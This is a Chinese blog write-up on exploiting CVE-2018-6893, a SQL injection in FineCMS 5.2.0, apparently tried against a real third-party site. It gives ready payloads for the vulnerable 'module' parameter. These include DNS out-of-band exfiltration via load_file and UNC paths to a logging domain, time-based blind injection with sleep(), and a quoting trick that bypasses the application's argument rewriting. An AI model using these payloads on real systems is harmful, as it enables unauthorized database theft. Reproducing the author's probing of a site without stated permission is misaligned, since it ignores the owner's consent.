(CVE-2018-6893)Finecms-5-2-0-SQL注入漏洞(dns注入-时间盲注)记录

(CVE-2018-6893)Finecms-5-2-0-SQL注入漏洞(dns注入-时间盲注)记录

0x00

最近遇到个站用的是finecms,然后看漏洞库有一个SQL注入的漏洞,试了试符合漏洞库上说的特征,输入以下payload正常显示,如果更改内容可以导致报错。(2e746573747465737473742e636579652e696f5c5c616161)是unc路径的十六进制编码。

payload:

1
http://网站/index.php?s=member&c=api&m=checktitle&id=13&title=123&module=news,(select load_file(concat(0x5c5c5c5c,version(),0x2e746573747465737473742e636579652e696f5c5c616161))) as total

​ 随便更改一下payload的内容可以导致报错并且泄露查询语句。

image-20211127132218299

​ 看了网上的方法都是使用dns注入得到结果的,然后我也去了解并且复现了了一下dns注入,因为确实还没使用过这种方法进行注入。

PS:随便一提,我这个站貌似用不了,可能是后台数据库不解析域名或者是设置不能用load_file。

0x01 DNS注入

​ **条件:**1.得有SQL注入点。2.能使用load_file()函数(能使用的条件是mysql的secure_file_priv没有设置)3.目标启用域名解析。4.mysql得运行在Windows系统,因为linux系统没有UNC路径。

原理:

1.load_file()函数用法

select load_file(路径); 用于读取文件内容然后返回输出,这个路径可以是绝对的也可以是相对的,也可以是远程文件。

例如访问一个网络路径如baidu.com/aaa,这样的,就会请求DNS服务器解析域名,就可以在DNS服务器日志中看到。

比如我们用以下语句查询:

1
select load_file(concat('//'(select database()),'域名//abc') 

就会请求DNS服务器解析域名,然后会留下一个数据库名字.域名的解析记录。

2.UNC路径

​ 就像如果你共享一个文件夹,这个文件夹的路径就会变成(\\服务器名\文件夹的路径)这样的形式。例如

1
\\DESKTOP-111\desktop\sharename

那么要获得一个dns域名可以使用http://ceye.io/提供的服务

注册拿到账号登录即可看到提供测试的域名。

image-20211127173343892

像我们访问//22333.域名//aaa这样的路径,就可以在dns解析日志里看到了。

image-20211127175607489

image-20211127175756995

​ 如果使用sql语句,一般payload为:

1
and if((select load_file(concat('\\\\',(select database()),'.dns服务器域名\\aaa'))),1,1);

反斜杠用来转义\号,“\\\\”,就是2个反斜杠。

验证测试:

使用mysql命令执行

1
select * from users where user_id =1 and if((select load_file(concat('\\\\',(select database()),'.xxxx.ceye.io\\aaa'))),1,1);

image-20211128122551075

然后就可以看到平台的结果了

image-20211128122044387

0x02 时间盲注实验

​ 上面也说了,这个站不能进行DNS注入,那么只好试试时间盲注了。

把payload改成:

1
/index.php?s=member&c=api&m=checktitle&id=13&title=123&module=news,(select sleep(4)) as total
image-20211128125422558

发现有明显延迟,于是使用sqlmap指定注入点测试,能检测出注入点,但是不能爆出数据库。

image-20211128132254026

于是用土方法试了试

payload:

1
/index.php?s=member&c=api&m=checktitle&id=13&title=123&module=news,(select if(ascii(substr(database(),1,1))>1,sleep(3),0)) as total

回显数据库错误,爆出的语句把database()后的1改为了’sr_1’

image-20211128130630956

然后发现我不管输入啥都是会改成sr_+输入(后面测试爆表的语句也会修改substr()函数的第二位参数)

image-20211128131019424

突发奇想,试试加引号不知道会不会被替代,随后测试一个payload

1
/index.php?s=member&c=api&m=checktitle&id=13&title=123&module=news,(select if(ascii(substr(database(),'1',1))>1,sleep(3),0)) as total
image-20211128132543143

存在延时,验证通过,比较菜不知道这个能不能用sqlmap指定参数,直接自写脚本跑起就行,经过测试后面字段和表也可以这样爆,payload类似下面:

1
/index.php?s=member&c=api&m=checktitle&id=13&title=123&module=news,(select if(ascii(substr(查询的sql语句,'1',1))=98,sleep(3),0)) as total

image-20211128133349673


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!,本博客仅用于交流学习,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。 文章作者拥有对此站文章的修改和解释权。如欲转载此站文章,需取得作者同意,且必须保证此文章的完整性,包括版权声明等全部内容。未经文章作者允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。若造成严重后果,本人将依法追究法律责任。 阅读本站文章则默认遵守此规则。